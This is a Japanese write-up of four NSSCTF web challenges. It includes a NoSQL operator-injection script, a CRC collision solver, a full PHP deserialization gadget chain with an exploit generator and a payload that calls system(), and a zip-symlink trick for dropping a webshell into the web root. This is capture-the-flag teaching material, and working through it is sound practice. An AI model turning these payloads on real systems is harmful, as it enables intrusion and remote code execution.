NSSCTF 4th WEB問題解説

簡単すぎる......出題者!Web問題は他のカテゴリと全く違う感じだよ!

手が鈍くて早く解けなかったwww

WEB

ez_signin

ソースコードを分析すると、POSTパラメータの型がdictの場合、WAFフィルタリングが存在しないことがわかります:

                if isinstance(title, str):
                    title = sanitize(title)
                    query["$and"].append({"title": title})
                elif isinstance(title, dict):
                    query["$and"].append({"title": title})

                if isinstance(author, str):
                    author = sanitize(author)
                    query["$and"].append({"author": author})
                elif isinstance(author, dict):
                    query["$and"].append({"author": author})

したがって、dictでパラメータを渡します。regexモードの*を使用してすべての項目に一致させます:

import requests
import json
url = "http://node9.anna.nssctf.cn:29017/search"

payload = {
    "title": {
        "$ne": ""  
    },
    "author": {
        "$regex": ".*" 
    }
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, data=json.dumps(payload), headers=headers)

print(json.dumps(response.json(), indent=2))

EzCRC

概要を見ると、POSTとkeyの内容が異なり、長さが同じで、CRC8とCRC16が同じpassを要求しているようです。

スクリプトを自作するのが面倒(怠け)。AIで一発解決:https://chat01.ai/zh/chat/01K3D1CP6G832N98H0H04HQT18

import random
from typing import List, Tuple

def compute_crc16_py(data: bytes) -> int:
    checksum = 0xFFFF
    for b in data:
        checksum ^= b
        for _ in range(8):
            if checksum & 1:
                checksum = ((checksum >> 1) ^ 0xA001)
            else:
                checksum >>= 1
    return checksum & 0xFFFF

crc8_table = [
    0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
    0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
    0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
    0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
    0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
    0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
    0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
    0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
    0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
    0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
    0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
    0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
    0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
    0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
    0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
    0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
    0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
    0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
    0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
    0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
    0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
    0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
    0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
    0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
    0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
    0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
    0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
    0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
    0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
    0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
    0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
    0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]

def crc8_py(data: bytes) -> int:
    crc = 0
    for b in data:
        crc = crc8_table[(crc ^ b) & 0xff]
    return crc & 0xff

def combined_crc(data: bytes) -> int:
    c16 = compute_crc16_py(data)
    c8 = crc8_py(data)
    return (c8 << 16) | c16

def solve_rectangular(Acols: List[int], bvec: int) -> Tuple[bool, int, List[int]]:
    m = len(Acols)
    rows = [0]*24
    for r in range(24):
        row = 0
        for j in range(m):
            if (Acols[j] >> r) & 1:
                row |= (1 << j)
        rows[r] = row
    bbits = bvec
    pivot_col_for_row = [-1]*24
    r = 0
    for c in range(m):
        pivot = None
        for rr in range(r,24):
            if (rows[rr] >> c) & 1:
                pivot = rr; break
        if pivot is None:
            continue
        if pivot != r:
            rows[r], rows[pivot] = rows[pivot], rows[r]
            br = (bbits >> r) & 1
            bp = (bbits >> pivot) & 1
            if br != bp:
                bbits ^= (1<<r) | (1<<pivot)
        for rr in range(24):
            if rr != r and ((rows[rr] >> c) & 1):
                rows[rr] ^= rows[r]
                if ((bbits >> r) & 1):
                    bbits ^= (1 << rr)
        pivot_col_for_row[r] = c
        r += 1
        if r == 24:
            break
    if r < 24:
        for rr in range(r,24):
            if rows[rr] == 0 and ((bbits >> rr) & 1):
                return (False, 0, [])
    x = 0
    for i in range(r-1, -1, -1):
        c = pivot_col_for_row[i]
        sum_bit = 0
        rowmask = rows[i]
        mask_ex_pivot = rowmask & ~(1 << c)
        tmp = mask_ex_pivot & x
        sum_bit = bin(tmp).count("1") & 1
        bi = (bbits >> i) & 1
        xi = bi ^ sum_bit
        if xi:
            x |= (1 << c)
    pivot_cols = [pivot_col_for_row[i] for i in range(r) if pivot_col_for_row[i] != -1]
    return (True, x, pivot_cols)

def find_fully_printable_solution_with_last4():
    printable = set(range(0x20, 0x7f))
    for attempt in range(200):
        prefix = bytes([random.choice(list(printable)) for _ in range(11)])
        positions = (11,12,13,14)
        base_msg = bytearray(prefix + b'\x00\x00\x00\x00')
        base_msg = bytes(base_msg)
        target = combined_crc(secret)
        base_crc = combined_crc(base_msg)
        bvec = base_crc ^ target
        Acols = []
        for pos in positions:
            for bit in range(8):
                arr = bytearray(base_msg)
                arr[pos] ^= (1 << bit)
                delta = combined_crc(bytes(arr)) ^ base_crc
                Acols.append(delta)
        ok, x_bits, piv = solve_rectangular(Acols, bvec)
        if not ok:
            continue
        m = len(Acols)
        rows = [0]*24
        for r in range(24):
            row = 0
            for j in range(m):
                if (Acols[j] >> r) & 1:
                    row |= (1<<j)
            rows[r] = row
        pivot_row = [-1]*m
        pivot_col_for_row = [-1]*24
        rnk = 0
        for c in range(m):
            pivot = None
            for rr in range(rnk,24):
                if (rows[rr] >> c) & 1:
                    pivot = rr; break
            if pivot is None:
                continue
            if pivot != rnk:
                rows[rnk], rows[pivot] = rows[pivot], rows[rnk]
            for rr in range(24):
                if rr != rnk and ((rows[rr] >> c) & 1):
                    rows[rr] ^= rows[rnk]
            pivot_col_for_row[rnk] = c
            pivot_row[c] = rnk
            rnk += 1
            if rnk == 24:
                break
        free_cols = [c for c in range(m) if pivot_row[c] == -1]
        nvecs = []
        for f in free_cols:
            v = 1 << f
            for i in range(rnk-1, -1, -1):
                c = pivot_col_for_row[i]
                rowmask = rows[i]
                if bin(v & (rowmask & ~(1<<c))).count("1") & 1:
                    v ^= (1 << c)
            nvecs.append(v)
        vals = [(x_bits >> (8*i)) & 0xFF for i in range(4)]
        def bytes_from_solution(sol):
            return [(sol >> (8*i)) & 0xFF for i in range(4)]
        def printable_count(vs):
            return sum(1 for b in vs if b in printable)
        if all(b in printable for b in vals):
            sol = x_bits
        else:
            best = (printable_count(vals), x_bits)
            sol = None
            basis_count = min(len(nvecs), 12)
            for i in range(basis_count):
                s = x_bits ^ nvecs[i]
                vs = bytes_from_solution(s)
                sc = printable_count(vs)
                if sc == 4:
                    sol = s; break
                if sc > best[0]:
                    best = (sc, s)
            if sol is None:
                for i in range(basis_count):
                    for j in range(i+1, basis_count):
                        s = x_bits ^ nvecs[i] ^ nvecs[j]
                        vs = bytes_from_solution(s)
                        sc = printable_count(vs)
                        if sc == 4:
                            sol = s; break
                    if sol is not None: break
            if sol is None:
                for i in range(basis_count):
                    for j in range(i+1, basis_count):
                        for k in range(j+1, basis_count):
                            s = x_bits ^ nvecs[i] ^ nvecs[j] ^ nvecs[k]
                            vs = bytes_from_solution(s)
                            sc = printable_count(vs)
                            if sc == 4:
                                sol = s; break
                        if sol is not None: break
                    if sol is not None: break
            if sol is None:
                sol = best[1]
        vals = bytes_from_solution(sol)
        m_final = bytearray(base_msg)
        for i, pos in enumerate(positions):
            m_final[pos] = vals[i]
        m_final = bytes(m_final)
        if all(32 <= b <= 126 for b in m_final) and m_final != secret:
            return m_final, vals, prefix
    return None

secret = b"Enj0yNSSCTF4th!"
res = find_fully_printable_solution_with_last4()
if res:
    print(f"Found solution: {res[0].decode('ascii')}")

cDXM 4pujqY/-ICを入力すると正解です。

[mpga]filesystem

www.zipをダウンロードすると、ソースコードがあります。action=homeのときにPOSTでsubmit_md5を任意の値で送ると任意のデシリアライズが可能です

<?php

class ApplicationFramework{
    public $frameworkName; 

    public function __construct(){
        $this->frameworkName = 'ApplicationFramework';
    }

    public function __destruct(){
        $this->frameworkName = strtolower($this->frameworkName);
    }
}

class DataProcessor{
    private $processedData; 
    public $callbackFunction;   

    public function __construct(){
        $this->processedData = new CommandExecutor();
    }

    public function __get($key){
        if (property_exists($this, $key)) {
            if (is_object($this->$key) && is_string($this->callbackFunction)) {
                $this->$key->{$this->callbackFunction}($_POST['cmd']);
            }
        }
    }
}

class FileHandler{
    public $targetFile; 
    public $responseData = 'default_response'; 

    public function __construct($targetFile = null){
        $this->targetFile = $targetFile;
    }

    public function validatePath(){ 
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
            die('ファイルパスが不正です');
        }
    }

    public function executeOperation($var){ 
        $targetObject = $this->targetFile; 
        $value = $targetObject->$var; 
    }

    public function getFileHash(){ 
        $this->validatePath(); 

        if (is_string($this->targetFile)) {
            if (file_exists($this->targetFile)) {
                $md5_hash = md5_file($this->targetFile);
                return "ファイルMD5ハッシュ: " . htmlspecialchars($md5_hash);
            } else {
                die("ファイルが見つかりません");
            }
        } else if (is_object($this->targetFile)) {
            try {
                $md5_hash = md5_file($this->targetFile);
                return "ファイルMD5ハッシュ (試行): " . htmlspecialchars($md5_hash);
            } catch (TypeError $e) {
                return "MD5ハッシュを計算できません。ファイルパラメータが無効です: " . htmlspecialchars($e->getMessage());
            }
        } else {
            die("ファイルが見つかりません");
        }
    }

    public function __toString(){
        if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
            $method = $_POST['method'];
            $var = isset($_POST['var']) ? $_POST['var'] : null;
            $this->$method($var); 
        }
        return $this->responseData;
    }
}

class CommandExecutor{
    public $commandName; 
    public $commandArgs; 
    public function __call($name, $arg){
        if (function_exists($name)) {
            $name($arg[0]); 
        }
    }
}

if ($action === 'home' && isset($_POST['submit_md5'])) {
    $filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';

    if (!empty($filename_param)) {
        $file_object = @unserialize($filename_param);
        if ($file_object === false || !($file_object instanceof FileHandler)) {
            $file_object = new FileHandler($filename_param);
        }
        $output = $file_object->getFileHash();
    } else {
        $output = "<p class='text-gray-600'>ファイルパスを入力してMD5検証してください。</p>";
    }
}

チェーン:

ApplicationFramework::__destruct()FileHandler::__toString()を呼び出す

FileHandler::__toString()executeOperationを呼び出す

executeOperationは最終的にDataProcessorCommandExecutorを介してコマンドを実行する

EXP:

<?php

class ApplicationFramework {
    public $frameworkName;
}

class DataProcessor {
    private $processedData;
    public $callbackFunction;
    public function __construct() {
        $this->processedData = new CommandExecutor();
    }
}

class FileHandler {
    public $targetFile;
    public $responseData;

    public function __construct() {
        $this->responseData = "string_response"; 
    }
}

class CommandExecutor {
    public function __call($name, $arguments) {
        if (function_exists($name)) {
            return $name($arguments[0]);
        }
    }
}

$executor = new CommandExecutor();

$processor = new DataProcessor();
$processor->callbackFunction = 'system';
$fileHandler = new FileHandler();
$fileHandler->targetFile = $processor; 

$appFramework = new ApplicationFramework();
$appFramework->frameworkName = $fileHandler; 

echo serialize($appFramework);
?>

POSTペイロード(%00を\x00に変更):

file_to_check=O:21:"ApplicationFramework":1:{s:12:"frameworkName";O:11:"FileHandler":2:{s:10:"targetFile";O:14:"DataProcessor":2:{s:32:"%00DataProcessor%00processedData";O:16:"CommandExecutor":0:{}s:16:"callbackFunction";s:6:"system";}s:12:"responseData";s:15:"string_response";}}&method=executeOperation&var=processedData&cmd=dir&submit_md5=1

ローカルでテスト

問題なし リモートで実行:

ez_upload

エラーページからphp開発サーバーであることがわかります。検索すると以下の情報が見つかります:

https://blog.csdn.net/weixin_46203060/article/details/129350280

直接ペイロードをコピーして実行:

GET /index.php HTTP/1.1
Host: node10.anna.nssctf.cn:22764

GET /123.123HTTP/1.1

その後はCISCN unzipと同じ問題解決方法:

シンボリックリンクファイルlinkを作成し、Webサイトのルートディレクトリ/var/www/htmlを指す 同じ名前のフォルダlinkを作成し、フォルダ内にマルウェアファイルを作成 解圧後にlinkファイル(つまり/var/www/htmlディレクトリ)を上書きできるようにする これによりマルウェアを/var/www/htmlディレクトリに解圧してシェルを取得できる

タグ: CTF Webセキュリティ PHP Node.js デシリアライズ

5月18日 14:41 投稿